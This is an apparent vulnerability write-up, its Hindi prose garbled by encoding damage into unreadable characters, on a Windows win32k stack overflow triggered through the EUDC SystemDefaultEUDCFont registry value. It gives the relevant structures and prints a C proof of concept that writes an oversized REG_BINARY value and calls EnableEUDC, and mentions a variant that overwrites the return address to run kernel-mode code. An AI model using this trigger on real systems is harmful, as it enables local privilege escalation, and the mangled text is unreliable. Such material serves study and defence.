рдЗрд╕рдХрд╛ рдХрд╛рд░рдг WinAPI рдлрд╝рдВрдХреНрд╢рди
RtlQueryRegistryValues()
рдХреЗ рдорд╛рдкрджрдВрдбреЛрдВ рдХрд╛ рдЕрдкрд░реНрдпрд╛рдкреНрдд рдирд┐рдпрдВрддреНрд░рдг рд╣реИ:
NTSTATUS RtlQueryRegistryValues(
__in ULONG RelativeTo,
__in PCWSTR Path,
__inout PRTL_QUERY_REGISTRY_TABLE QueryTable,
__in_opt PVOID Context,
__in_opt PVOID Environment
);
рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рд╕рд╛рде рдХрдИ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЗ рд╕рд╛рде
_RTL_QUERY_REGISTRY_TABLE
рд╕рдВрд░рдЪрдирд╛ рдХреЛ рднрд░рддрд╛ рд╣реИред
typedef struct _RTL_QUERY_REGISTRY_TABLE {
PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
ULONG Flags;
PWSTR Name;
PVOID EntryContext;
ULONG DefaultType;
PVOID DefaultData;
ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;
EntryContext
рдлрд╝реАрд▓реНрдб рдореЗрдВ, рдЗрд╕ рд╕рдВрд░рдЪрдирд╛ рд╕реЗ, рдЖрдЙрдЯрдкреБрдЯ рдмрдлрд╝рд░ рдХрд╛ рдкреНрд░рдХрд╛рд░ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдпрд╣рд╛рдБ рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк
UNICODE_STRING
, рдмрдлрд░ рдХреЛ
UNICODE_STRING
рд╕рдВрд░рдЪрдирд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдпрд╛
ULONG
рдорд╛рдиреЛрдВ рдХреЗ рдмрдлрд╝рд░ рдХреЗ рд░реВрдк рдореЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
рдЗрд╕ рдмрдлрд╝рд░ рдХреЛ рднрд░рдХрд░, рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА рдХрд╛ рдкреНрд░рдХрд╛рд░ рдЬрд┐рд╕рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рдмрдХреБрдЫ рдареАрдХ рд╣реЛ рдЬрд╛рдПрдЧрд╛, рд▓реЗрдХрд┐рди рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА
HKCU\EUDC\[Language]\SystemDefaultEUDCFon
t рдорд┐рд▓реА, рдЬрд┐рд╕реЗ рдХреЗрд╡рд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░
Win32k.sys->NtGdiEnableEudc()
рдХреЙрд▓ рдХрд░рдХреЗ рдЗрд╕рдХреЗ рдкреНрд░рдХрд╛рд░ рдХреЛ
REG_BINARY
рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рджреМрд░рд╛рди, рдпрд╣ рдорд╛рди рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐
REG_SZ
рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдорд╛рди рдФрд░ рдмрдлрд░ рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐
UNICODE_STRING
рд╕рдВрд░рдЪрдирд╛ рдЬрд┐рд╕рдореЗрдВ рд╕реЗ рдкрд╣рд▓рд╛
ULONG
рдорд╛рди рдмрдлрд░ рд▓рдВрдмрд╛рдИ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрджрд┐ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдорд╛рди рдХреЛ
REG_BINARY
рд░реВрдк рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдПрдХ рдХреНрд▓рд╛рд╕рд┐рдХ рд╕реНрдЯреИрдХ рдУрд╡рд░рдлрд╝реНрд▓реЛ рд╣реЛрддрд╛ рд╣реИред

рдЗрди рд╕рднреА рдмрд╛рд░реАрдХрд┐рдпреЛрдВ рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП, PoC (noobpwnftw рджреНрд╡рд╛рд░рд╛) рд╡рд┐рдХрд╕рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬреЛ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ рдПрдХ рдорд╛рди рдмрдирд╛рддрд╛ рд╣реИ рдЬреЛ рд╕реНрдЯреИрдХ рдкрд░ рд░рд┐рдЯрд░реНрди рдПрдбреНрд░реЗрд╕ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХрд░реНрдиреЗрд▓ рдореЛрдб рдореЗрдВ рдХреЛрдб рдХреЗ рд╕рд╛рде рдПрдХ рдордирдорд╛рдирд╛ рдмрдлрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред
рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╡рд░рдг рдпрд╣рд╛рдБ рд╣реИред
http://www.kb.cert.org/vuls/id/529673
http://secunia.com/advisories/42356
рд╡реИрдХрд▓реНрдкрд┐рдХ PoC d_olex ( рдореВрд▓ ) рд╕реЗ:
#define EUDC_FONT_VAL "SystemDefaultEUDCFont"
int _tmain( int argc, _TCHAR* argv[])
{
HKEY hKey;
char szKeyName[MAX_PATH], Buff[0x600];
sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d" , GetACP());
//
LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);
if (Code != ERROR_SUCCESS)
{
printf( "ERROR: RegCreateKey() fails with status %d\n" , Code);
return -1;
}
//
RegDeleteValue(hKey, EUDC_FONT_VAL);
// "SystemDefaultEUDCFont" REG_BINARY
FillMemory(Buff, sizeof (Buff), 'A' );
Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600);
RegCloseKey(hKey);
if (Code != ERROR_SUCCESS)
{
printf( "ERROR: RegSetValueEx() fails with status %d\n" , Code);
return -1;
}
//
EnableEUDC(TRUE);
return 0;
}